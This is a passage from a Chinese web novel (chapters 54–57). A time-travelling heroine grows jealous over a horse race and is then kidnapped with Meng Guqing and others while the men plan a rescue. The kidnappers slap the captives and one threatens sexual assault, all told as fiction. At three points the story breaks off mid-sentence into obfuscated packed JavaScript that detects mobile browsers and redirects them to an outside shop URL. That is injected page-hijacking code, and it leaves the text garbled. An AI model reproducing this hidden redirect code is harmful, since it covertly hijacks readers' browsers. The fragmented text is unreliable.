“我只是想给他们一个和平相处的契机而已,我给了孟古青去了解安齐修的机会,自然也要给董浣浣去守护属于她的东西的忠告。” “从过去到现在你一直是这样,永远想着别人,永远自以为是的以为这就是为她好,可是你从来都没有顾及过别人的感受,你这样两头和稀泥,恰恰是伤了所有人而不知。三人行,不是一个人会受伤,是三个人都会受伤。” “师傅不会允许,父亲不会允许,姑母不会允许,甚至连整个大清都不会允许,我又能如何?”,孟章砚垂下头,轻叹道。 雅图:“当年你是不是也是这样说服自己的?” 54. 承诺 “小姐,我错了,谢谢您救了我。” 孟章砚刚走,小柒低着头,声音细若蚊蝇的道歉道。 刚刚外人在,她害怕丢了小姐的脸,一直没敢说话,现在外人走了她才敢怯生生的去道歉。 董浣浣摸着她的头安慰道:“没关系,你没事就好了,能告诉我你为什么要去湖边吗?” 小柒:“我只是想拿给你看,我的九连环解开了,没想到不小心滑倒掉进湖里了。”,说完小心翼翼的把九连环递给董浣浣看。 董浣浣接过九连环,看了看,笑着对小柒说道:“我们家小柒真厉害,只不过下次别去湖边了,你还小,湖边对你来说太危险了。” 小柒深深的点了点头:“我知道了。”,接着又补充道:“既然那么危险,那小姐以后也别去了。” 董浣浣笑着点点头道:“知道了,我们以后都不去了。好了,现在没事了,你去玩吧。”,说完把旁边的风筝递给她。 小柒接过风筝开心的跑开了。 待小柒走后,紫鸢开口向董浣浣问道:“这就完啦?” 董浣浣点头。 紫鸢:“小姐您不好好的教育她,万一下次她还这样怎么办,到时候再遇到危险怎么办,谁来救她?” 董浣浣望着紫鸢一脸焦急的模样解释道:“她刚刚已经亲身经历过那样的危险,这次的经历将会成为她一辈子的阴影,无需我再多言。而且这件事情的责任在我,所谓上梁不正下梁歪,为了她我以后也一定会以身作则,再也不会拿自己的生命开玩笑。” “可是……”,紫鸢还想说些什么,却被董浣浣给打断了。 “这件事就到此为止了,不能让安齐修知道,明白吗?” 紫鸢:“可是我们不说,孟少爷那里……” 董浣浣:“我料想他不是一个会多嘴的人。” 紫鸢点头:“明白了,小姐。” 单良回来的时候就看到小柒在一边有些心不在焉的在放风筝,而浣主子和紫鸢神色凝重的围着炭火在说些什么。 单良走上前去,说道:“浣主子,齐平少爷回复说谢谢您的邀约,不过他今天身体有些不适就不出来了,让我帮他今天让刘全新买来的甜米酒给您带来,说是这酒味甜不烈正适合您。” 董浣浣点头:“算了,他不来就不来吧,你把酒就放那儿吧。” 单良依言把两坛子米酒放到董浣浣的面前。 放下酒之后,单良试探性的问道:“刚刚是不是发生了什么事,这里怎么多出来一堆炭火。” “哦,刚刚孟章砚恰好路过,说是天凉给了我们一些木炭。”,董浣浣解释道。 单良闻言:“原来是这样啊,是我思虑不周了,多亏了孟少爷了。那浣主子,我现在回府再取一些木炭吧。” 董浣浣摆摆手:“不用了,安齐修也快回来了,我们等他回来就一起回家了,你这来回折腾这么多趟也累了,坐下来休息一会儿吧。” 单良依言坐下。 太阳西斜,落日的余晖布满西边的天际。 像是等了一个世纪那么久,董浣浣终于看到了雪融的身影。 看着它长鬃飞扬的快速的跑到了事先规定好的终点。 安齐修赢了。 随后红猎也跑到了终点。 孟古青:“即使已经闹成了那样,你依然忘记不了比赛吗?” 安齐修回道:“当然,这是我答应过她的事情。” “如你所愿,你赢了。”,孟古青勒紧马僵靠近安齐修说道。 安齐修面无表情的回道:“承让。” “帮我和你的随从道个歉,刚才是我失礼了。”,孟古青又道。 安齐修回道:“道歉这种事情还是自己亲自做会比较好。” 孟古青意有所指的笑笑道:“刚刚你问我为什么打你的随从,我现在想说了,你还想听吗?” 安齐修冷笑了一下,目光深沉的看向孟古青:“我现在不想听了。” 说完抻了一下脚蹬,勒紧马僵离开了。 孟古青停在原处,冲着安齐修的背影问道:“如果你先遇到的人是我,你也会这样吗?” 安齐修听完,什么也没说,甚至连一个回头都没有,骑着马径直往董浣浣的方向去了。 望着那挨在一起的一白一红的两匹马,董浣浣忽然间理解了孟章砚说的那句话,也忽然间知道了那天孟古青说要比试安齐修答应时,她那没来由的心慌是怎么回事了。 她害怕了,她吃醋了,她自卑了。 这两个人待在一起是如此的相配,无论是从智慧还是从能力上,都是如此的相配。 虽然她知道孟古青的结局,知道孟古青是绝对不可能和安齐修在一起的,可是如果再出现另一个如此优秀的“孟古青”,恰好她也喜欢安齐修,她该怎么办,她该拿什么和别人竞争? 这一刻,她什么也管不了了,站起身来冲着安齐修的方向飞奔而去。 安齐修还是第一次看到她这个样子,赶忙纵身下马,把缰绳随手递给了迎过来的单良,快步走到她的面前。 董浣浣哽咽着扑进了他的怀里。 “这是怎么了,发生了什么事,谁欺负你了?”,安齐修小心翼翼的抚摸着董浣浣的头轻声的问道。 他的话音刚落,董浣浣的眼泪就再也忍不住了。 她可以微笑着和孟章砚表示感谢,她可以微笑着安慰小柒和微笑着劝解紫鸢,她仿佛可以微笑着去面对所有,直到看到安齐修的这一刻她的坚强消失殆尽,所有的害怕与不安通通袭上心头。 原来她一点都不坚强,只是在没有他的时候不得不去伪装而已。 安齐修试图拉来她抱在她腰上的手,想要看一下她脸上的表情,“松开手,让我先看看你的脸好吗?” 不料他刚一伸手,董浣浣便抱得更紧了,死死的抓住了安齐修后背的布料不撒手。 脸埋在他的胸膛上,闷闷的撒娇道:“不要。” 安齐修无奈的笑笑,只能由着她去了。 孟古青在远处看到此情此景,勒住缰绳调转了方向,无声的离开了。 又过了一会儿,待她渐渐平复了心情之后,安齐修拉来她的手,躬下身来与她平视,又问:“现在可以告诉我,刚刚为什么哭了吗?” 董浣浣不说话,只是摇摇头。 安齐修见状也不强迫她,轻声哄劝道:“好,那我不问了,我 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他这是在抱怨她没有把全部的注意力放在他身上吗? 董浣浣顺着他的话,思考了一下自己和安齐修相识以来的所作所为。 好像真如他所言,她把注意力放在他身上的时间太短了,总是在玩够了,遇到困难了,无聊了才会想到主动去找他。 就这短短的一会儿工夫,她怎么从有理变没理了呢,说到底还是自己之前做的太差劲,董浣浣有些沮丧的想。 一阵沉默之后。 安齐修的声音从耳边传来:“知道错了?” 董浣浣声音闷闷的回复了一个“嗯。” 安齐修又接着问道:“你错哪儿了?” 董浣浣答道:“不应该把对别人的关心超过对你的关心。” 安齐修:“以后还会那样忽视我吗?” 董浣浣:“不会了。” 安齐修:“你一定要记住你今天说过的话。” 董浣浣拢了拢抱住安齐修脖子的胳膊,脸贴在他的背上不说话了。 又过了一会,安齐修又开口道:“我母亲不是父亲的正妻,虽然她从来没说过,但是我知道她一直不快乐。小的时候,父亲很严厉,我不是他最喜欢的儿子,他来我们房里的时候总是来去匆匆,每次见面的话题也只有我的功课。从我有记忆以来,他从来都没有抱过我、背过我,为此我很小的时候就发过誓,以后只娶一妻,只得一子便余生足以。浣儿你是我第一个背过的人,我们的孩子将是第二个,你明白我的意思吗?” 这样的情话让人动心,这样的承诺让人安心。 董浣浣拍拍他的背安慰他道:“安齐修,你以后一定会是个好丈夫,好父亲。” 只不过在这个时代里,只娶一妻,只得一次,真的可以如他所愿吗? 安齐修闻言,把董浣浣从他的背上放了下来,手扶住她的肩膀,目光直视着她的眼睛道:“所以浣儿我想告诉你,我的爱很偏执,容不得一丝忽视,我希望我爱的人眼里只能有我,你明白吗?” 董浣浣郑重的点了点头。 55. 绑架 这是在什么地方? 发生了什么事情? 董浣浣感觉自己的眼睛被一块布给蒙上了,什么也看不到,手脚都被绑上了,动也不能动,她想要大喊救命,发现她的嘴也被封上了。 此刻她就像被放在案板上的鱼,周围危机四伏,而她却无法动弹。 是谁绑架了她? 为什么会绑架她? 董浣浣的大脑在飞快的运转着,开始回想她绑来这里之前的事情。 前几天孟古青遣人到未名谷报信,约她今日出来,说想要见她一面有些事情想要和她谈,地点就是董浣浣之前去过的皮影戏馆。 董浣浣想着他们这马上也要离开了,于情于理她都应该去赴约和孟古青好好的道个别,感谢她这些日子的照顾。 鉴于前些日子,安齐修那一番说辞散发出来的醋味太大,董浣浣再也不敢忽视他了,和他报备了之后,安齐修觉得两个女孩子出门实在是太危险了,而他又有要事在身,没办法和她们一起去,便遣了卫苑和她们一同前去赴约。 董浣浣觉得太麻烦卫苑了,下意识的想要拒绝的,却被安齐修的一个眼神镇住,没敢开口。 几人走到街口的时候,老远就能看到皮影戏馆二楼冒出来的滚滚浓烟。 三个人见状匆匆走到皮影戏馆门口,发现周围已经被围观群众围了个水泄不通。 大家叽叽喳喳的在议论着起火原因。 皮影戏馆二楼浓烟滚滚,里面不时的有人慌不择路的从里面跑出来。 董浣浣三人挤到前面,向旁边的人打听道:“劳驾问一下,这里怎么会起火,大家为什么都不进去去灭火?” 旁边的人看她一眼然后解释道:“一个男人放的火,他说要烧死他的老婆孩子,拿着刀守在门口见谁砍谁,谁敢进去救火,你看看这进去多少波人了,都被他给打下来了。” 董浣浣:“他的功夫很高吗,为什么上去那么多人都制不住他。” “他一个屠夫能有啥功夫啊,只不过他平时杀猪杀习惯了,见血都是家常便饭了,谁敢为了逞一回英雄和他硬碰硬啊,好在已经有人跑去报官了,过一会官府来人,应该就能治住他了。” 董浣浣听完之后又问:“他为什么要放火烧死自己的老婆孩子?” “那人怀疑他儿子不是他的,是他老婆和皮影戏馆的一个小二苟且生出来的,现在带着他老婆孩子要和那个小二一起同归于尽呢。” “原来又是三角恋惹出的事端啊”,董浣浣总结。 “谁说不是呢,他也不想想,他媳妇和小二青梅竹马,要是他媳妇喜欢小二,还有他什么事儿,喝醉酒隔三差五的就要闹这么一出,也真是丢人,这次闹的这么离谱,看他怎么收场。” 董浣浣感慨:“都是猜忌惹的祸啊!” 董浣浣的话音刚落,只看见一个男人抱着孩子对他对面的男人说道:“你别过来啊,过来我可就把你儿子扔下去了”,边往后退。 对面拿着刀的男人闻言,脸上挂着一副不屑的表情,说道:“你扔,你扔,这个小野种指不定是谁的孩子呢,你和这个贱人的好事我全都知道了,你在这里吓唬谁呢。” 说完一把抓住他旁边的女人,推到了那个抱着孩子的男人的旁边。 抱着孩子的男人下意识的看了一眼他脚边已经泣不成声的女人,扬声道:“你别胡说,我和小燕清清白白的,绝对没有任何的苟且之事。” 对面的男人一听到这话更气了,冲着抱着孩子的男人说道:“你们清清白白的,怎么会有人给我留纸条揭发你们两个人的奸情。” 抱着孩子的男人一听,着急辩解道:“是谁,是谁给你留的字条,你让他出来,我要和他对质。” 还没等对面的男人说话,被推到在地的那个妇人突然站起身来,扶住窗台,纵身一跃,就跳了下来。 众人看到这这一幕都愣在当场,心都提到了嗓子眼里了。 还好卫苑反应快,在她落地的那一刻接住了她。 众人的提起的心又回到了肚子里。 妇人被救下之后,哭着拍打着卫苑的肩膀哭诉道:“为什么救我,我没脸活在这个世上了!” 楼上的拿着刀男人听到她这样说更生气了,趁着抱着孩子的男人不注意,一把把孩子夺了过去冲着妇人喊道:“你给我上来,不然我就把你们俩生的这个小杂碎给捅死。” 说完就把刀子架在了孩子的脖子上。 董浣浣看到此景轻声问卫苑:“卫苑,你有没有把握制止他。” 卫苑把妇人交给紫鸢照顾,回道:“治住他倒是不难。” 董浣浣心里有数了,“卫苑,现在情况紧急,那个孩子随时都会有生命危险,不能等官府来人了,你赶紧上去帮忙救下那个孩子再说。” 卫苑:“可是主子让我跟着您……” 董浣浣打断他的话道:“没有可是,人命关天,先救了孩子再说。放心,在你离开期间,我就呆在这里不动,哪也不去。” 卫苑点头:“好。” 便跑进皮影馆里去了。 董浣浣呆在外面焦急的往皮影馆里望着,下意识的看了一眼旁边的紫鸢和妇人,却发现她们都不见了,她正要回头去寻找照顾妇人的紫鸢,只感到后颈部一疼,她还没有反应过来,就感觉两眼一黑,然后晕了过去。 醒来便到了这里。 这里是什么地方,是什么人要绑架她? 她在科尔沁认识的人不多,更不曾得罪过什么人,今天知道她要出现在那里的人更是少之又少。 难道是孟古青绑架了她? 董浣浣的脑袋里闪出了一个念头。 不过又很快被她否决了。 先不说她们是朋友,就凭这些天的相处也可以知道孟古青不是这样的人。 那到底是谁绑架了她,有为什么绑架她? 不知过了多久,董浣浣听到了一阵凌乱的脚步声,向她走来,接着蒙着她眼睛的黑布被扯了下来。 董浣浣用力的眨了眨眼睛,站在她面前的是两个蒙着面穿着夜行者的壮汉。 “知道你为什么来这吗?”,期中一个蒙面人捏住董浣浣的下巴,向董浣浣问道。 当他靠近董浣浣的时候,董浣浣才发现这个蒙面人眼睛瞎了一个,很是吓人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815880|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 董浣浣嘴里“嗯,嗯,嗯”的说不出话来,只能拼命的摇头表示自己的不解。 “果然是养尊处优惯了,稍微遇到点事,就变成了一个废物。”,另一个手上带刀疤的蒙面人,对瞎了眼的蒙面人说道。 瞎眼蒙面人闻言松开了董浣浣的下巴,把手凑近鼻子闻了闻,很是轻佻的说了一句:“废物倒是废物,不过脸上的手感但是挺好的,等办完正事再来拿来玩玩也不错。” 刀疤蒙面人闻言警告他说:“你别忘了她是谁的人,这你都敢碰,你不想活了。” 瞎眼蒙面人怒道:“这还不都怪你们,连个消息都打听不明白,如今我们绑了他们四个人哪里还有活路!” 刀疤蒙面人:“不是已经给他们留下字条,只要他们放了老二和老六,我们就放了他们三个,然后我们一起离开科尔沁,天大地大,他们也不会那么容易找到我们的,待风头一过,我们再出来活动。如果我们伤了他的女人,恐怕天涯海角他也绝对不会放过我们了。” 瞎眼蒙面人闻言不屑的说道:“你以为我们这次还能跑得了,把她完璧归赵,被他抓住就不用死了吗,既然横竖都要死,还不如睡了她,到了阴曹地府我还能吹一回,我睡了他的女人!” 董浣浣从他们的话语中听出来了,他们是冲着安齐修来的。 老二和老六是谁,安齐修为什么会抓他们? 还有他们说抓了四个人,那其他三个人又是谁,为什么她没有看到。 又或者是她想错了,他们不是冲着安齐修来的,是他们认错人了,把她认错成了别人。 只不过她现在最重要的是从这里逃出去,无论他们是不是冲着安齐修来的,又或者他们是认错人了,有一点是可以肯定的,这个凶神恶煞的独眼龙是绝对不会放过她的。 两个黑衣人又你来我往的商量一阵子之后,那个瞎眼黑衣人最终让刀疤黑衣人给劝住了,暂时不对她行不轨之事。 两个人刚一离开,董浣浣就开始拼命的尝试着解开自己被绑在后背的手。 只是绳子绑的太紧了,无论她怎样努力都没办法打开它一丝一毫,董浣浣第一次感受到了什么叫做绝望。 她开始疯狂想念安齐修,如果有他在那该有多好。 他得知她失踪的消息应该是急坏了吧,那些人留给他的字条他有没有收到,她能活到他来救她的时候吗? 停! 不,不行! 她不能在这样悲观下去,她不能这样坐以待毙,她从现代穿越到古代捡来的一条命,不能让两个绑匪给解决了。 她都还没能好好的替这个身体的主任尽过孝,也没能见到安齐修的家人,不能这样随随便便就死了。 董浣浣重新振作精神,还好刚才那两人把她的眼罩解开了,现在她至少可以搜寻一下,有没有能帮助她解开绳子的物件。 皇天不负有心人,董浣浣在黑暗中仔细的寻找自身周围的一圈之后,发现她脚尖的位置有一个陶瓷碎片。 董浣浣用脚尖一点一点的把陶瓷碎片挪到了她的手边。 手指吃力的拿起那枚陶瓷碎片,房门却又被打开了。 56. 主食和配菜 卓礼克图亲王府内。 孟章砚气氛把手中的字条丢到了地上,“这群人简直是无法无天了,竟然敢绑架格格!” 雅图闻言捡起了孟章砚扔在地上的纸条,看了一下内容。 字条上面说,他们绑架了孟古青以及她的朋友,让孟章砚把赵二宝和赵六虎来给放了,只要孟章砚放了这两个人,他们保证让孟古青安全的回家。 雅图问:“这个赵二宝和赵六虎是谁?” 孟章砚:“赵六虎是个小贼当街抢一个老人家的东西被孟古青撞见了,把他收拾了并送到了衙门,赵二宝是上次在风筝大会上被安齐修抓住的那个劫财的,没想到他们居然是一伙的。”,说完啪的一掌把旁边的桌子给拍烂了。 “章砚,你先冷静一点。”,雅图看到他这个样子劝说道。 “被抓走的是我妹妹和海日,我怎么可能冷静。”,孟章砚边吼,边攥紧了拳头。 “来人!”,孟章砚冲着门口喊道。 布和闻言急匆匆的从外面跑进来,问道:“怎么了少爷?” 孟章砚吩咐道:“集齐府中所有人马,挨家挨户的搜查,务必要把小姐和海日给我找回来!” 吩咐完布和之后,孟章砚冲着坐在一旁的雅图说道:“你留在这里等他们的消息,我现在亲自去把监牢里的那两个人提出来,好好审审他们的同伙是谁。” 布和领命正要退下,就被雅图和叫住了。 “等等”,雅图站起身来,走到孟章砚跟前说道:“他们既然已经把信送到王府,必定也已经知道了她们的身份了,既然已经知道她的身份,他们是断然不敢动她们分毫的。我们现在还没有弄清楚绑架她们的团伙到底有几个人和他们的位置,这样大张旗鼓的去找人,只会适得其反,逼急了他们,他们不放人并且对她们不利怎么办。” 孟章砚闻言有些恼,语气不善的问道:“那你说怎么办?” 雅图安抚道:“我觉得必须要兵分两路的秘密进行,人口密集区让衙门以统计人口为由挨家挨户秘密调查,荒山野岭也不能放过,去军队里调些人马以打猎的名义前去搜查,还有此事还是与阚先生商量一下比较好,更何况孟古青身份特殊,这事必须让福临知道。” 孟章砚闻言犹豫了一下,没说话。 雅图看他不语,知道他这是同意了她的建议,转身对站在孟章砚旁边的布和吩咐道,“快,就按照我说的吩咐下去。” 布和拱手:“是,奴才现在就去。” 待布和走了之后孟章砚才道:“关键时候你比我考虑的周密多了。” 雅图闻言笑了笑,道:“不是我比你考虑的周密,是听到她被抓走了,你的心乱了而已。” 孟章砚闻言想要解释什么,雅图打断了他道:“不用说了,你想说什么我都知道,目前她们的安危最重要,不要把时间浪费在我身上,快去找阚先生商量一下此事吧,看看他有什么更好的办法。” 孟章砚听了她的话,把刚要说出口的话咽了回去,快步走出门去。 雅图看着他的背影,有些失落的在想:如果有一天她被人绑架了,孟章砚也会像现在这样着急吗? 阚先明草庐内。 阚先明听完孟章砚的叙述,转头看向坐在旁边的安齐修问道:“这事您认为该如何解决比较好?” 安齐修看了阚先明一眼,然后道:“就按先生的意思办吧。” 阚先明冲着安齐修揖了揖手,然后道:“他们既然把信递到了卓礼克图亲王府,势必是已经知道了孟古青的身份,短时间他们是不敢动她的,如若此时我们把他们要的人给交出去了,恐会有变数,还是先派人暗中把他们躲藏的地方找出来再实行营救比较妥帖。” 和雅图说的一样,孟章砚想。 随即提出他的顾虑,“可是师父,我怕还没等我们找到他们的藏身地点,小妹万一出现了意外就什么都来不及了……” 阚先明:“章砚,你先冷静一下。现在,敌在暗,我们在明,秘密行动才是上策,更何况现在是非常时期,多尔衮已经在蠢蠢欲动了,我们现在绝对不能因为这点小事而前功尽弃,先按照我说的安排下去吧。” 这是孟章砚自从拜师以来第一次从他师父身上读到了冷酷二字。 他明明有千万种方法可以救孟古青和海日于水火,可是为了他们所谓的大事,他居然选择了连雅图都能想到的最消极的这一种。 “你也同意我师父的观点吗?”,孟章砚转头看向安齐修的问道。 安齐修没有说话,只是看了孟章砚一眼。 孟章砚:“好的,我明白了。”,随即补充道:“以后我妹的生死都与你们无关,告辞!” 他真是多此一问,区区两条人命怎么可能影响到他卧薪尝胆那么多年筹谋的大事。 孟章砚说完不顾阚先明的出声阻拦,转身就往外走,恰好和匆匆忙忙从外面赶来的卫苑撞了个满怀。 卫苑来不及和孟章砚道歉,慌忙起身走到安齐修身边,扑通一声跪倒在安齐修的面前,冲着安齐修禀报道:“微臣该死,没能护卫浣主子周全,浣主子和孟古青格格一起被人给掳走了,请皇上降罪,赐臣一死!” 孟章砚闻言停住了脚步。 原来纸条上所说的孟古青的朋友不是只有海日,居然还有董浣浣。 “啪!”,茶杯碎裂的声音从孟章砚的耳后传来。 “不是让你一直跟着她的吗,怎么还会被人抓了?” 卫苑抬起头刚要解释,就被安齐修打断了:“我没时间听你解释这么多,拿着这块令牌,用最快的去最近的部旗调支精兵过来。” 卫苑刚要伸手去接令牌,安齐修好像反悔似的把令牌又收了回去,说道:“走,我和你一起去。” 说完起身就要离开。 阚先明看到安齐修这个样子,赶忙走到他面前,劝诫道:“您知道不知道您这样往人前一站,我们的大事很可能会功亏一篑!” 安齐修扒开阚先明扶住他胳膊的手,说道:“我当然知道这意味着什么,你放心我自有分寸!” 说完便大步流星的走出门去。 孟章砚看着他的背影有些想笑:原来还是有人的命比他的大事还要重要,只不过那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815881|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人不是孟古青而已。 孟章砚苦笑了一下,然后跟上前去。 阚先明望着他们相继离开的背影摇摇头。 他做人还真是失败。 无论是选的徒弟还是选择侍奉的主上都是因为一个女人就会失去理智的情痴。 另一边。 董浣浣好不容易把陶瓷碎片拿在了手里,刚刚出去的那两个男人又走了进来。 在董浣浣还没有搞清楚他们为什么去而复返的时候,他们又不由分说的把董浣浣的眼睛给蒙上了。 蒙上了董浣浣的眼睛之后,两个人一人一边想要把董浣浣从地上拽起来。 被蒙上眼睛的董浣浣又开始了新一轮的恐惧。 他们这是要把她带去哪儿? 难道他们要救的人已经被放出来了? 他们带她走是想要杀人灭口吗? 还是如那个独眼龙所说,欲对她行不轨之事? 董浣浣害怕极了,无数个可怕的念头从脑海里不停的往外涌。 这时候无论如何都不能如他们所愿,不然她就彻底的完了,董浣浣尝试着反抗,用力的往后撤,坚决的不站起身来。 瞎眼的蒙面人见她这么不配合,“啪”的一下直接往董浣浣的脸上甩了一巴掌。 董浣浣顿时觉得脸上火辣辣的疼,耳朵嗡嗡的响。 刀疤蒙面人见状数落瞎眼蒙面人道:“咱们刚才不是都已经商量好了吗,为什么还要节外生枝。” 瞎眼蒙面人活动了一下手腕,才道:“我也不想节外生枝,只是这个娘们也太不配合了,必须要教训教训她,让她知道知道厉害。” 刀疤蒙面人闻言叹了口气,转头看向董浣浣恐吓道:“你听到了没有,不想吃苦头,就乖乖的配合,跟我们走。” 董浣浣张嘴想要问他们为什么要抓她,无奈嘴被堵住了,只能发出“呜呜”的声音。 这声音又惹怒了那个瞎眼的蒙面人,以为她还是想要反抗。 破口大骂道:“真是敬酒不吃吃罚酒,这种女人就应该打,打几顿就老实了。” 说完不顾刀疤蒙面人的反对,冲着董浣浣的脖子就是一掌,直接把董浣浣给打晕了。 瞎眼蒙面人把董浣浣打晕之后美滋滋的对刀疤蒙面人说道:“看吧,这样不就老实了。” 刀疤蒙面人无奈的冲他吼道:“你是不是真的不想活了,那个人要是看到他的女人受到如此对待,是绝对不会放过我们的!” 瞎眼蒙面人嗤笑道:“以为她是主食把她抓来的,没想到她只是个配菜。刚想杀掉算了,没想到这个没用的娘们居然又成了王牌,那个人为了她居然这么轻易的就答应了我们的要求,这娘们也真是命大。” 刀疤蒙面人听他这么说,补充道:“你别忘了,他说的是要完好无损的。” 眨眼蒙面人不以为然的说道:“交易完成后,她就是老子的女人了,我管别人怎么想,他是皇帝老儿又如何,照样要捡我用剩下的。” 刀疤蒙面人拿他没辙了,只希望交易能够顺顺利利的完成,剩下的事情等交易完成之后再说。 57. 得救 孟古青看着躺在她对面昏迷不醒的董浣浣,心里的怨气一点一滴的在心中不断的凝结。 刚刚那两个绑匪把董浣浣带进来的那一刻,她的脑袋里甚至闪现出一个非常邪恶的念头:如果董浣浣就死在这里是不是比较好。 这个想法在她的脑海里仅存在了一霎那,清醒后的孟古青被这样的自己给吓到了。 原来嫉妒和怨恨,可以让一向光明洒脱的她变成这个样子。 前些天她和安齐修比赛完之后,躲在家里不出门,想通了许多事。 今天上午她怀着前所未有的愧疚之心准备去见董浣浣,想要和她聊聊安齐修。 曾几何时她以为这这个世上绝对不会有一个男人能让她产生爱慕和崇拜之情。 可是上天教会了她,说话一定不可以太绝对。 是的,在这么多天的相处切磋中,她喜欢上了安齐修。 这个男人无论从文韬还是武略上,都让她深深的折服。 她从开始的自傲想要教训一下他的无理,到后来渐渐的被他的一举一动所吸引。 直到那天她在远处看到他走向董浣浣时那副温柔体贴的样子,她发现她竟然有点嫉妒董浣浣,她这才才意识到她可能喜欢上了安齐修。 既然已经弄懂了自己的心,那么就要去行动。 她从小接受的教育就是想要的就要努力的去争取,绝对不在背后蝇营狗苟,所以这件事她不想对董浣浣有所隐瞒,她想要一个和董浣浣公平竞争安齐修的机会,于是她就把把董浣浣约了出来,想要当面和她说清楚。 她有信心只要给她机会,安齐修一定会爱上她的,毕竟无论从相貌、性格或者能力上来说她都比董浣浣更适合安齐修,董浣浣唯一比她占优势的大概就是比她早认识安齐修而已。 虽然她曾经答应过董浣浣不会和她抢安齐修,但是男未婚女未嫁,大家各凭本事,也就不能算是抢。 她这一生也许就只能遇到一个这样的男子,她不想放弃! 婚约算什么,科尔沁又不止她一个格格,阿爸自会帮她解决。母仪天下又能如何,尊贵的身份她已经有了,她想要的只有一个安齐修而已。 她给自己做足了种种建设便出了门。 谁知道她刚到达皮影戏馆门口看到站在一边的董浣浣,走上前去拍了一下董浣浣的肩膀,就感觉眼前一黑被抓到这里来了。 醒来后发现她的手脚都被他们捆住了,并且用布堵住了她的嘴。 她尝试着想要挣开束缚,几经周折都无济于事。 后来她从那两个绑匪的对话中得知他们是想要绑架董浣浣去衙门去换他们的两个兄弟,而她只不过是被顺道绑来的。 和她一起被绑来的还有更无辜的海日。 孟古青看了一眼还在昏迷中的海日,听他们说,海日是因为看到他们绑架了她,想要呼救,被他们发现了,就顺道给一起绑来了。 想她孟古青从出生以来就是草原上最尊贵的格格,要风得风要雨得雨,生活的潇洒恣意,什么时候做过别人的配角,那两个绑匪不但绑架了她,居然还说她只是董浣浣的配菜。 董浣浣是主食,而她只是配菜,这是多么可笑的事情啊。 仔细想想自从她认识董浣浣以来,生活就被她搞的一团糟。 先是莫名其妙的被她赖上和她成为了朋友。 后来因为她而认识了安齐修,进而管不住自己的心。 现在又因为她不知道得罪了什么人而被抓来关在这个鬼地方,还被说是她的配菜。 更可恶的是那两个绑匪居然敢打她! 从出生到现在还没有一个人敢打过她呢。 那个恶心的独眼龙用他那油腻的手从她的脸上划过的时候,她感觉恶心极了,使出全身的力气抬起腿向他的小腿踹去,那个独眼龙被踹的嗷的一声倒在地上,翻了好几个滚。 正当她为这一脚感觉到快意的时候,那个独眼龙气急败坏的从地上站了起来,冲着她的脸就甩了一巴掌。 她愣住了,只觉得脸上火辣辣的疼。 她的骄傲,尊严随着这一巴掌,消失殆尽。 这些都怪董浣浣! 如果早知道和她成为朋友,会经历这么多屈辱,当初她就应该狠心不理她的胡搅蛮缠。 董浣浣醒来的时候发现自己眼上蒙着的布已经没有了,还被扔到了另一个房间,和她关在一起的居然还有孟古青和她的那个朋友,海日。 董浣浣环顾了一下四周发现那两个绑匪不在,孟古青的那个朋友海日还是昏迷的,躺在孟古青的一旁一动不动,孟古青倒是清醒的,只不过眼神空洞的盯着一个地方,动也不动。 董浣浣小心翼翼的冲着孟古青发出声音,想要吸引她的注意,可是孟古青仿佛没有听到一样,动也不动。 董浣浣没有办法,只能尝试着往孟古青的那边挪动。 谁知道她刚一挪动,背后就出现了一声咳嗽声。 董浣浣被吓呆了立马转身去看,发现她的后面居然躺着安齐平! 还能不能好了,他怎么也被绑来了? 这群绑匪到底是什么人,这么神通广大? “别动。”,安齐平哑着声音说。 “你怎么也被绑来了?”,董浣浣隔着布问道。 她的话被布阻隔全都变成了呜呜声,没想到安齐平居然听懂了,回答她道: “看到你被绑了,跟踪他们来的,被他们发现了,就被绑到这里了。被绑之前已经通知刘全回去报信了,安心等着吧”。 董浣浣听到他这样说,终于安静了下来,重新审视了面前的这个男孩。 从遇到他开始这一路,董浣浣一直把他当做一个孩子,一个小弟弟看待,直到这时候才算真正的了解一点他。 这个男孩有着和他外形完全不相符的沉稳,遇事不慌不忙,安排好了一切之后,淡定的待在这里等援军。 孟古青听到安齐平的话,抬头往董浣浣的方向看了一下,眼神中透着些鄙夷与怒气,继而又转过头去恢复到原来的状态,她动作很快,董浣浣并没有看到。 时间一分一秒的过去了,安齐修他们还没有来,在这个昏暗的小屋里,董浣浣感觉呼吸都有些困难,整个头昏昏沉沉的,感觉随时都有晕过去的可能。 不行,不能睡,董浣浣一遍一遍的提醒着自己,聚精会神的盯着门的方向。 “啪嗒!”,一声。 门被推开了。 那两个绑匪气急败坏的走到董浣浣的面前,眼瞎的绑匪一把把她拽到了一边,董浣浣一时没有反应过来,被摔了个趔趄。 那人看都没看董浣浣一眼,冲着刚才被董浣浣挡住的安齐平说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 